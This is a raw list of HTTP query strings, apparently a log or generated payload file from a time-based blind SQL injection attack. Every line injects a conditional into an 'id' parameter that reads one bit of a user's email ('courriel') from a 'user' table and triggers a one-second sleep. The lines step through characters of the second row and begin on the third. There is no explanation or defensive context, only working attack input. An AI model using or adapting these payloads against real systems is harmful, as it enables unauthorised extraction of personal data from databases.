/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
